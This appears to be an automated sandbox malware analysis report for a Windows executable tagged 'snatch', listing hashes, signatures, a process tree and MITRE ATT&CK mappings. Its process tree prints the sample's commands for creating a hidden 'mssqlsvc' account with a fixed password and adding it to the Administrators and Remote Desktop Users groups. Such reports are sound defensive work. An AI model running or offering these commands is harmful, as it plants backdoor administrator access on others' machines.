Analysis

  • max time kernel
    94s
  • max time network
    95s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18-09-2024 23:22

General

  • Target

    2024-09-18_89f8c33a8f051aefb2610733741d27cc_snatch.exe

  • Size

    6.8MB

  • MD5

    89f8c33a8f051aefb2610733741d27cc

  • SHA1

    3d824f27bb72642d49222588e44a625268e418e0

  • SHA256

    66f2de00dc7b3a5aa02180827e1fb8a483c8d4e9c081efdf135d65c9dba0144f

  • SHA512

    295976cccf87bac57cc45cc53c74021a38a052d4f6c89e04b8a85e10f0e3b7c4384eac0a4d38234c4d27ce135fabb579abb831c52ad90108e8ef51c7257a2136

  • SSDEEP

    49152:7O9rQoUTmShxLtFWtJ+45UXLEef5AMM+5dc+r3+nJ5EGpLCS+p2ALVE:76OKShQy45UhCMM0c+r3+fEGpOD

Malware Config

Signatures

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Remote Service Session Hijacking: RDP Hijacking 1 TTPs 3 IoCs

    Adversaries may hijack a legitimate user's remote desktop session to move laterally within an environment.

  • Permission Groups Discovery: Local Groups 1 TTPs

    Attempt to find local system groups and permission settings.

  • Runs net.exe
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2024-09-18_89f8c33a8f051aefb2610733741d27cc_snatch.exe
    "C:\Users\Admin\AppData\Local\Temp\2024-09-18_89f8c33a8f051aefb2610733741d27cc_snatch.exe"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:1196
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c net user mssqlsvc P@ssw0rd /add
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2824
      • C:\Windows\system32\net.exe
        net user mssqlsvc P@ssw0rd /add
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4168
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 user mssqlsvc P@ssw0rd /add
          4⤵
            PID:1068
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c net localgroup Administrators mssqlsvc /add
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4960
        • C:\Windows\system32\net.exe
          net localgroup Administrators mssqlsvc /add
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4572
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 localgroup Administrators mssqlsvc /add
            4⤵
              PID:1164
        • C:\Windows\SYSTEM32\cmd.exe
          cmd /c net localgroup "Remote Desktop Users" mssqlsvc /add
          2⤵
          • Remote Service Session Hijacking: RDP Hijacking
          • Suspicious use of WriteProcessMemory
          PID:1460
          • C:\Windows\system32\net.exe
            net localgroup "Remote Desktop Users" mssqlsvc /add
            3⤵
            • Remote Service Session Hijacking: RDP Hijacking
            • Suspicious use of WriteProcessMemory
            PID:680
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 localgroup "Remote Desktop Users" mssqlsvc /add
              4⤵
              • Remote Service Session Hijacking: RDP Hijacking
              PID:4792

      Network

      MITRE ATT&CK Matrix ATT&CK v13

      Persistence

      Account Manipulation

      1
      T1098

      Discovery

      Permission Groups Discovery

      1
      T1069

      Local Groups

      1
      T1069.001

      Lateral Movement

      Remote Service Session Hijacking

      1
      T1563

      RDP Hijacking

      1
      T1563.002

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • \??\PIPE\lsarpc
        MD5

        d41d8cd98f00b204e9800998ecf8427e

        SHA1

        da39a3ee5e6b4b0d3255bfef95601890afd80709

        SHA256

        e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

        SHA512

        cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

      • memory/1196-0-0x00007FFD92900000-0x00007FFD929BE000-memory.dmp
        Filesize

        760KB

      • memory/1196-1-0x00007FFD91E10000-0x00007FFD920D9000-memory.dmp
        Filesize

        2.8MB

      • memory/1196-2-0x00007FFD946F0000-0x00007FFD948E5000-memory.dmp
        Filesize

        2.0MB

      • memory/1196-3-0x00000254618E0000-0x00000254618F1000-memory.dmp
        Filesize

        68KB

      • memory/1196-4-0x00007FFD766D3000-0x00007FFD766D5000-memory.dmp
        Filesize

        8KB

      • memory/1196-5-0x0000025463280000-0x0000025463292000-memory.dmp
        Filesize

        72KB

      • memory/1196-6-0x00007FFD766D0000-0x00007FFD77191000-memory.dmp
        Filesize

        10.8MB

      • memory/1196-9-0x00007FFD766D0000-0x00007FFD77191000-memory.dmp
        Filesize

        10.8MB